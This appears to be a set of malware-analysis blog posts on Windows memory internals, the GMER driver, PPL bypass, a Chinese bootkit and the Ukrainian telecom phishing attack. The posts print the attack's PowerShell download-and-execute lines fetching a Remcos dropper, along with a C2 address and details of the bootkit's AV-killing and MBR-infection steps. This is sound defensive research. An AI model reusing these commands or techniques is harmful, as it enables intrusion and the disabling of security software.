As it was mentioned many times earlier, PPTEs and hardware PTEs pointing to them are key things to understand the virtual addresses translation concept for the mapped sections properly. The difference between them is that the first is stored in the Segment object, while the second in the process's page table (hardware PTE). Both can be in two major states - valid and invalid (P bit in the structure). Zeroed bit means that the mapped page is absent in physical memory and signals the VMM that its content should be read from disk. If the P bit is true, this virtual page is resident in physical memory and no additional actions are required from the VMM. The invalid PTE has a flag signaling that this PTE points to PPTE, i e belongs to the memory mapped file. Once a thread tries to access an invalid memory page, a page fault exception occurs and the VMM exception handler analyzes the PTE to learn what kind of pages it describes. There are several types of invalid PTEs, but we won't discuss this topic here. Also note that in case of a resident virtual page the VMM stores a pointer to PPTE and its value in the PFN database. Let's take a look at the format of these structures. You can the format of the PTE pointing to PPTE in the following pic.

Once you get the ProtoIndex, you can calculate the PPTE address with this formula: PrototypePteAddress = MmPagedPoolStart + PrototypeIndex << 2.

Below you can see PPTE format.

A little practice

Dispatching #PF exceptions for mapped files

Inside the Page Writers

In mid-December, it was revealed that a devastating cyberattack hit Ukr@ine's biggest telecommunications company. The attack disabled the company's services for days (!), leaving over twenty million Ukrainians without mobile communication and internet access.

Ukrainian officials described the attack as having disastrous consequences, causing the complete destruction of the telecoms operator's core infrastructure. The attackers managed to wipe out nearly all data, including thousands of virtual servers and PCs.

Below, you can see the attack chain, which begins with receiving a phishing email containing a malicious .zip attachment with a .doc file inside. 

email => attach1.zip => attach1.rar + attach2.rar => attach.rar (password protected) => .doc (vba) => SMB \\89_23_98_22\LN\GB.exe => powershell bitbucket_org/.../wsuscr.exe

The .doc file merely shows a picture that prompts the potential victim to enable editing and content - in other words, to lower security settings and permit the execution of a malicious macro.

To evade anti-malware checks on the email server and victim's system, the doc file is packed into a multi-layered, password-protected archive. It contains a VBA macro that initiates the infection process by executing the malware downloader.

Below you can see the detailed (trimmed for clarity) execution flow.

powershell -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('...')) | Invoke-Expression"

To evade detection, the PS script to be executed is base64 encoded. The batch file passes the encoded script to PowerShell, instructing it to decode it on-the-fly via the command line rather than saving the script to disk.

Exploring the scripts

After decompressing the final RAR archive, the victim opens the malicious .doc file containing a malicious VBA macro. We can extract it using two tools: Frank Boldewin's OfficeMalScanner and Didier Stevens' oledump. Let's take a look at both.

> OfficeMalScanner.exe C:\Test\malicious.doc info

This command dumps macros into the MALICIOUS.DOC-Macros folder. To obtain oledump, we need to install it using the "pip install olefile" command.

Next, dump the document structure.

oledump.py -s 9 --vbadecompressskipattributes C:\Test\malicious.doc >C:\Test\s9_malicious_doc.txt

This bat file copies another executable, test2.exe, from the share and executes an encoded PS script. The bypass commands within the script body are packed.

This execution chain ends with the launch of Remcos dropper named wsuscr.exe from the aforementioned PS script.

wget "https://bitbucket.org/olegovich-007/777/downloads/wsuscr.exe" -outfile "$env:APPDATA\wsuscr.exe"

Invoke-Expression -Command "$env:APPDATA\wsuscr.exe"  

Remcos serves as a backdoor, granting attackers full access to the compromised system.

References

https://cert.gov.ua/article/6276824

https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1

https://www.joesandbox.com/analysis/1365471/0/html

https://www.reuters.com/world/europe/russian-hackers-were-inside-ukraine-telecoms-giant-months-cyber-spy-chief-2024-01-04/

https://www.hybrid-analysis.com/sample/d698994e527111a6ddd590e09ddf08322d54b82302e881f5f27e3f5d5368829c/658988e479a329c125013938

https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

• Introduction
• Some basic terms
• Howto
• Exploring Win11 disk subsystem
• Set up a secure environment
• Overview of the driver
• Patching kernel data
• Securing disk I/O operations
• Securing file I/O operations
• Tracing kernel mode code
• About PPL'ed processes

• To construct names of driver objects of interest on the stack, such as \Filesystem\Ntfs, \Driver\Disk, \Driver\atapi.
• To select kernel object offsets depending on the OS version, including, EPROCESS.Peb, EPROCESS.UniqueProcessId, KPROCESS.ThreadListHead, ETHREAD.StartAddress, etc.
• In case of an unknown Windows version, it obtains those offsets through manual analysis of the appropriate ntoskrnl functions, such as PsGetProcessPeb, PsGetProcessSectionBaseAddress, etc.
• Dynamically resolves some important imports such as IofCompleteRequest and IofCallDriver using MmGetSystemRoutineAddress.
• To map the NT layer DLL ntdll.dll, which is used further to get additional information.
• To obtain the start address of loaded Ntfs.sys and Fastfat.sys, locate the entry point and scan it for a specific signature to retrieve the real address of their IRP_MJ_CREATE handlers.
• To get information about loaded ataport.sys and scsiport.sys. These drivers are responsible for low-level disk communication.
• To use its own PE export parser and get the addresses of the sensitive functions listed below.

An interesting fact is that when scanning ntoskrnl data between strnicmp and KdDebuggerNotPresent to find the address of KeServiceDescriptorTable, the driver doesn't validate the current pointer with MmIsAddressValid. Since the space between these symbols belongs to multiple ntoskrnl sections, one of them may be INIT, which may be already discarded from memory.

📖 Overview of the driver

The driver provides its user mode counterpart with various valuable interfaces aimed at obtaining trustworthy data about the Windows environment. These features are available via the appropriate IOCTL codes listed below. After obtaining the necessary data, GMER compares it with the data obtained through regular Windows API and report to the user about the detected anomalies.

Basically, to supply the requested data, the driver leverages Windows kernel API, low-level disk and file system access skipping the intermediate filters, DKOM and custom implementation of some Windows kernel functions.

During initialization, the driver creates a separate thread to execute the following operations in the System process context: shutdown system, read process memory, suspend thread, query information about thread, process, system, and system registry. When the GMER's DeviceIoControl handler, which is executed in the current process context, recognizes one of those IOCTLs, it builds the context structure with a pointer to a specific handler and sets the appropriate event that triggers another thread to execute it.

• The first one belongs to the partition manager and presents the device of the raw disk partition. Partmgr forwards the disk I/O request further to the disk driver, providing it an LBA instead of a partition offset.
• The second device belongs to the disk driver itself, described above.
• The next device was created by the common driver acpi.sys which, essentially simply forwards disk I/O requests to the port driver. The responsibilities of Acpi. sys include support for power management and Plug and Play (PnP) device enumeration.
• The latter belongs to the iaStorVD disk port driver (Intel Rapid Storage Technology) and is used in many computers with Intel chipsets. Being a disk port driver, it's responsible for low-level communication with a specific storage device type, including, initializing the storage controller and identifying and attaching storage devices.

• To open a file, the driver calls the IoCreateFileSpecifyDeviceObjectHint API, sending a request directly to the FSD, skipping possible intermediate filters. To obtain a pointer to the FSD device object that is the lowest on the stack, it uses IoGetBaseFileSystemDeviceObject (IoGetDeviceAttachmentBaseRef).
• If the function fails, GMER tries to check IofCallDriver for hooks, but only its the old version, which has a jump instruction to the IopfCallDriver pointer at the beginning.
• In addition to checking IofCallDriver for hooks, the driver also checks and restores the original IRP_MJ_CREATE handlers for Ntfs and Fastfat driver objects. As was mentioned above, GMER obtains these handlers at the driver initialization phase.
• After obtaining a handle to the requested file, the driver uses the ordinary APIs ZwReadFile, ZwWriteFile, ZwDeleteFile, ZwQueryInformationFile, ZwSetInformationFile, ZwClose.

📦About PPL'ed processes

PPL is a widely known built-in Windows security feature designed to provide high-end protection for trusted Windows services such as anti-malware processes. It's recognized as a robust security measure aimed at protecting running processes from any form of modification or other destructive impact. Access checks for PPL-protected processes are implemented at the opening process handle level, without any exceptions for kernel mode code. As a result, these processes cannot be terminated using ZwOpenProcess and ZwTerminateProcess calls made by the kernel mode driver.

The required access checks can only be successfully passed by code that works on another PPL protection level with an equal or higher one. GMER isn't an exception; like other renowned security tools, including, Process Explorer, Process Hacker, Process Informer, WinArk, it can't terminate PPL'ed processes. This limitation arises not only because it employs a simple trick involving a pair of aforementioned functions after attaching to the System process, but also due to its constraints when working on modern Windows versions. To terminate a PPL-protected process, kernel mode code requires a pointer to the kernel object of the process and a pointer to an internal ntoskrnl function, PspTerminateProcess, capable of process termination by a pointer rather than its handle.

GMER terminates the process as shown below (IOCTL 0x9876C094).

The following projects on GitHub demonstrate this trick with disabling the PPL protection using DKOM, i e manually changing EPROCESS_Protection. In addition, from a blog post by Denis Skvortcov, we can learn that Avast security products set protection for their anti-malware services by manually PPL'ing the corresponding process.

https://github.com/Mattiwatti/PPLKiller

https://github.com/hfiref0x/KDU

https://github.com/wavestone-cdt/EDRSandblast/

The latter tool was reportedly utilized by the Midnight Blizzard TA to disable the protection of an installed anti-malware product. It's also capable of enabling protection for the current process. To RW kernel memory, this tool requires a driver that is vulnerable to BYOVD. As opposed to EDRSandblast, KDU comes with numerous vulnerable drivers so you don't need to find it yourself.

References

https://www.crowdstrike.com/blog/evolution-protected-processes-part-2-exploitjailbreak-mitigations-unkillable-processes-and/

https://www.alex-ionescu.com/146/

https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/srb/ns-srb-_scsi_request_block

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a

At this time, most systems were x86, and thus didn't benefit from Kernel Patch Protection (KPP) or Driver Signing Enforcement. As a result, there was a lot of sophisticated malware loading unsigned drivers that used kernel mode hooks and direct disk access to hide malicious activity. Bootkits typically store their components in the disk sectors outside the normal file system and conceal their data from the rest of the operating system by returning zeroes or spoofed data in response to any requests for it 

The analysis of any bootkit involves not only reverse engineering skills, but also forensic skills in order to extract the infected boot sector, MBR and malware modules from disk sectors. 

• The dropper
• HIPS evasion
• Disabling security software
• Driver installation
• Payload DLL
• A few words about the Windows disk I/O subsystem
• Low-level disk access via ATA PIO mode
• Disk infection
• Bootloader
• Key takeaways
• Appendix

• The malware copies its executable to the temp directory as a DLL.
• Registers a new keyboard layout in the registry.
• Intercepts ZwQueryValueKey in its own process to supply "Ime File" registry value with the malware DLL path to the OS.
• Gets a handle to the Explorer window with FindWindow.
• Send the WM_INPUTLANGCHANGEREQUEST message to that window.
• The OS calls the ZwQueryValueKey hook to query the "Ime File" value of the newly registered keyboard layout and gets the DLL path.
• Windows caches information about this keyboard layout.
• Send the WM_INPUTLANGCHANGEREQUEST message again.
• ImmLoadLayout loads the DLL into the Explorer process using the cached data.

Created keyboard layout data.

The following diagram explains this trick.

Disabling security software

Upon its successful execution, the DLL code sets an event to signal the dropper. This injected DLL is responsible for loading the bootkit driver, but before doing this, it tries to disable the following tools by sending the appropriate IOCTLs to their drivers or killing their processes.

• 360tray.exe, 360 Total Security by Qihoo 360
• HintClient.exe by Shanghai Hintsoft Co., LTD, IOCTL code 0x00403A3B.
• DrvMon tool by Fyyre and EP_X0FF, IOCTL code 0x00403B0A.
• HardwareInfo.exe, part of the NetTools, IOCTL code 0x00220008.
• CfgClt.exe
• AVP.exe, Kaspersky security products
• KSafeTray.exe, PC Doctor Flow Monitor (PC Doctor) by Kingsoft
• RavMonD.exe, Rising AntiVirus by Beijing Rising Information Technology

For example, below you can see the code to disable DrvMon.

The bootkit is particularly interested in disabling ESET security products. It creates a separate thread in which it tries to terminate nod32krn.exe service in an infinite loop with a timeout of two seconds. To ensure that the process is killed, the driver is used.

Driver installation

Another interesting characteristic of this malware is how it installs and loads its driver. This tricky method is based on hijacking the Microsoft Trusted Audio Drivers service named drmkaud (drmkaud.sys) and utilizing PnP Manager to load it. To install the driver, the malware performs the following actions.

1. Selects a random name for its driver to be dropped into C:\Windows\System32.
2. Opens the registry key of Trusted Audio Drivers in HKLM\SYSTEM\CurrentControlSet\Enum\SW belonging to Device Manager with the full path HKLM\SYSTEM\CurrentControlSet\Enum\SW\GUID\GUID\{eec12db6-ad9c-4168-8658-b03daef417fe}\{ABD61E00-9350-47e2-A632-4438B90C6641}. These GUIDs are stored in encrypted form.
3. Modifies the security descriptor allowing Everyone all access to those keys.
4. Sets ConfigFlags value to zero, replaces the original name of the service drmkaud with the malware's.
5. Creates the driver service key in HKLM\SYSTEM\CurrentControlSet\Services.
6. Extracts the driver from the resources section, decrypts it and drops it onto disk.

The Trusted Auto Driver Service in the Enum key is hijacked so that its GUID can be used to load the malicious driver via the PnP Manager. The malware repeatedly tries to open any device named \Device\000000NN, each time incrementing the N values until it succeeds. For each device the code sends a special IOCTL code supplying the aforementioned GUID, which is stored in encrypted form.

If this trick fails, the malware loads the driver as usual, manually creating its service. Once it's loaded, the malware starts infecting the disk.

Payload DLL

The dropper uses a similar trick to register the payload DLL in the system. Instead of simply dropping the DLL and registering it in autorun, it hijacks one of Windows standard services by rewriting its executable with the malware DLL. To defend against malware analysis, the malware stores a list of these DLL names in encrypted form and decrypts them only briefly to the stack, making it unlikely that an analyst will find these names in a memory dump.

Trying to hijack at least one of them, the malware targets the following Windows services:

• AppMgmt - Software Installation Service
• BITS - Background Intelligent Transfer Service
• FastUserSwitchingCompatibility - Fast User Switching Compatibility service
• WmdmPmSN - Portable Media Serial Number Service
• xmlprov - Network Provisioning Service
• EventSystem - Event System service
• Ntmssvc - Removable Storage Service
• upnphost - Universal Plug and Play Device Host Service
• SSDPSRV - Simple Service Discovery Protocol service
• Netman - Network Connections service
• Nla - Network Location Awareness Service
• Tapisrv - Telephony service
• Browser - Browser service
• CryptSvc - Cryptographic Services
• helpsvc - Help Center Service
• RemoteRegistry - Remote Registry service
• Schedule - Schedule service

Below you can see the steps of this process. Before rewriting the system executable, the malware gets the address of SfcFileException export function in sfc_os.dll. Sounds familiar, right? This DLL implements the Windows System File Checker (SFC) API that can be used to scan or restore corrupted system files. The malware authors abuse one of these API functions to prevent SFC from automatically restoring the target system file after its modification.

The hijacked service DLL is responsible for communication with the driver, supplying it with pointers to undocumented ntoskrnl functions and kernel structure offsets, saving the driver from having to do it in kernel mode. The first IOCTL to be sent to the driver is 0x222440, which initializes it for further operation. The following data is to be sent.

• Addresses of the following functions: MmGetSystemRoutineAddress, PspTerminateThreadByPointer, KeInsertQueueApc, KiInsertQueueApc;
• First 12 bytes of each of those functions (their prologs); PspTerminateThreadByPointer;
• The offsets of the following kernel structures are EPROCESS->ThreadListHead, ETHREAD->ThreadListEntry.

When the malware needs to terminate a specific process, it sends a special IOCTL containing the PID. The driver gets a EPROCESS pointer to this PID and enumerates all threads belonging to this processes using the supplied offsets of EPROCESS->ThreadListHead and ETHREAD->ThreadListEntry and for each of them calls PspTerminateThreadByPointer.

The DLL contains an impressive list of processes to be terminated. Some of them belong to well-known security companies.

• ESET - nod32krn.exe, egui.exe, ekrn.exe;
• Qihoo 360 - 360tray.exe, 360leakfixer.exe, 360Safe.exe, safeboxTray.exe, 360safebox.exe, 360sd.exe, ZhuDongFangYu.exe, 360rp.exe, 360sdupd.exe;
• Kingsoft WebShield - KSWebShield.exe, kxesapp.exe, kxeserv.exe, kwstray.exe, kxedefend.exe, upsvc.exe, kxescore.exe, KVExpert.exe, kxetray.exe, KSafeSvc.exe, KSafeTray.exe;
• Rising AntiVirus - RavMonD.exe, RsTray.exe, RsAgent.exe, RegGuide.exe, RsMain.exe, RsCopy.exe, Rav.exe;
• Jiangmin Antivirus - KVSrvXP.exe, KVExpert.exe, KVMonXp.exe
• Kaspersky - AVP;
• Rising PC Doctor - ras.exe, knownsvr.exe, rstray.exe;
• Tencent QQPCMgr - QQPCLeakScan.exe, QQPCWebShield.exe, QQPCTAVSrv.exe, QQPCRTP.exe, QQPCMgr.exe, QQPCUpdateAVLib.exe, QQPCTray.exe, QQRepair.exe, QQPCPatch.exe;
• Other - Calc.exe (:D), guiyingfix.exe, knsdtray.exe, knsd.exe, knsdsvc.exe, knsdsve.exe.

Another interesting observation is that, before calling the undocumented function pointers passed from user mode, the driver first tries to restore the first 12 bytes of each function. The authors probably assumed that the drivers of some security products set hooks on these functions by patching their first bytes at runtime. The DLL provides the driver with these first 12 bytes, but before that, it copies them from ntoskrnl on disk, loading it into the process and finding those undocumented functions, i e PspTerminateThreadByPointer and KeInsertQueueApc. The screenshot below demonstrates this technique.

The code above walks through the list of all processes' threads as follows.

Now we can take a look at the entire malware installation routine.

The DLL is a core part of the malware, which acts as a bot and communicates with its control servers. The address is hard coded in the DLL. After connecting to 183[.]60[.]132[.]220, it tries to download one of the executable files with the names 1.exe, 2.exe, 3.exe, ..., 32.exe and run it in the system with the Explorer access token. Unlike TDL4, this bootkit isn't interested in protecting downloaded executables on disk. They are stored as regular files on volume and the bootkit doesn't restrict access to them.

Being the OS that is based on the hybrid kernel architecture satisfying the highest standards, Windows has the multi-layered disk I/O architecture. It's based on the device stack model, where each layer is represented by a separate kernel mode driver. One of the main advantages of this approach is that each of these layers is isolated from others and can use the unified Windows I/O subsystem's interfaces to communicate with other drivers on the stack. For example, the File System Driver (FSD) can dynamically attach its device to the existing disk device stack to dispatch file operations.

At the top of this device stack is the FSD (ntfs.sys), which handles file operations and attaches its device to the lower one belonging to the volume manager (volmgrx.sys). In order to operate files data, the FSD converts file offsets to the volume ones and addresses volmgrx.sys. The latter converts its offsets to the disk ones and calls the disk driver disk.sys or it can reach out to the partition manager (partmgr.sys) that is also located down the device stack. Unlike the device belonging to the volume manager, the partition manager's one represents a raw disk partition without a file system. Upon receiving a request, disk.sys calls the disk port driver atapi.sys, clarifying exactly which device on the ATA bus it needs to reach. The disk port driver completes this request by communicating directly with the disk controller. The major difference between the FSD and other drivers on the stack is that the first should keep the context for any open file (FILE_OBJECT and its FsContext) while others simply operate with disk or volume offsets.

The driver objects of the aforementioned drivers were an attractive target for rootkits and bootkits in the x86 era. The malicious Ring 0 code aimed at modifying the function pointers in the drivers' dispatch table to intercept the I/O operations of interest. IRP_MJ_READ, WRITE, DEVICE_CONTROL were the primary targets. Thus, rootkit detectors had to go as low as possible to safely read disk sectors, skipping potentially infected drivers located higher on the stack.

Low-level disk access via ATA PIO mode

The rootkit includes a unique feature we haven't seen in other notorious bootkits such as TDL4, Rovnix or Mebroot. It's capable of communicating with the hard drive at the lowest level without calling any Windows disk or disk port drivers (disk.sys, atapi.sys).

In a nutshell, instead of sending the IOCTL_SCSI_PASS_THROUGH_DIRECT request to atapi, the rootkit works directly with the ATA bus via IO ports 0x170-0x177 and a device control register port such as 0x376. Once all the preparations are done, the rootkit calls hal!READ_PORT_BUFFER_USHORT to read data from disk or hal!WRITE_PORT_BUFFER_USHORT to write to it. At the beginning of this routine, the rootkit queries the information about the IDE controller using hal!HalGetBusData for PCIConfiguration.

In spite of the presence of this interesting feature, the malware uses it in very limited cases. These cases don't even require calculating disk offsets using the partition table.

• To overwrite the MBR and drop the malware components onto the end of the disk during the disk infection process.
• The disk infection watchdog thread reads the MBR every 5 seconds in an infinite loop.

The disk infection routine is located in the main dropper and called in the context of Windows Explorer process after code injection is done as described above. If the injection fails, the dropper calls this function in the context of its process.

The rootkit provides the malware with two disk communication IOCTLs. The first is used to select the drive on which the malware wants to perform the RW operation and another describes this request.

• 0x30 and 0x34 to write sectors in 28/48 bit PIO mode;
• 0x20 and 0x24 to read sectors;
• 0xEC - IDENTIFY command.

• IOCTL_ROOTKIT_KILL_PROCESS 0x222444 to kill the specified process, as input accepts a Process ID (PID).
• IOCTL_ROOTKIT_INIT_DATA 0x222440 to initialize the rootkit structure containing undocumented offsets and functions, as input accepts initialized ROOTKIT_INIT_STRUCT (see below).
• IOCTL_ROOTKIT_READ_WRITE_DISK 0x22243D to read/write disk data.
• IOCTL_ROOTKIT_SEND_MBR_SIGNATURE to specify a disk to the rootkit for the following I/O operations.

• Send the signature of the disk to be infected to the rootkit (IOCTL_ROOTKIT_SEND_MBR_SIGNATURE).
• Read the first 16 sectors of the disk with IOCTL_ROOTKIT_READ_WRITE_DISK or with CreateFile/ReadFile on \\.\PhysicalDrive0 if the rootkit driver failed to load. Frankly, I didn't get why the malware reads as many as 16 sectors as it uses only first one that represents the MBR to infect it.
• Infect the MBR with the code from the 112 resource with 16-bit bootloader code.
• Allocate a virtual memory region with the size of 0x7E00 (63 sectors) and copy there infected MBR, original MBR, the 16-bit bootcode and the payload DLL.
• Overwrite the original MBR with the infected one.
• Calculate the offset from the end of the disk to drop the bootkit data (DiskSize - 0x41 sectors).
• Write the bootkit data to the end of the disk.

Hello folks and have a good day. If u follow my blog, u might know that my two previous blog posts discussed km malware - rootkits and bootkits - focusing on the Ring 0 tricks they employ and the timeline of their appearance. I'm excited to share version two of my research paper "Windows Rootkits Guide", now titled "Windows Rootkits and Bootkits Guide," which includes even more information than the first version. The biggest addition is a deep dive into bootkit families and the techniques they use (TTPs), alongside more details about rootkit techniques. 

https://artemonsecurity.com/rootkits_bootkits_v2.pdf

The document is intended to be a comprehensive guide to Windows km malware, with some exceptions and remarks as noted in it. Just like the first version, this guide includes direct document references to the researches, from which the information was taken. It has the structure of a reference book, which allows you to easily navigate from a specific malware family to its rootkit TTPs (Windows kernel tricks). 

The new document covers information about:

• More than 70 rootkit techniques and km tricks
• More than 90 rootkit and bootkit families
• Almost 300 web links to malware researches 

This blog is no longer active. For new posts,

https://aibaranov.github.io/

Contacts

https://linktr.ee/artem_i_baranov

https://github.com/ArtemBaranov/Misc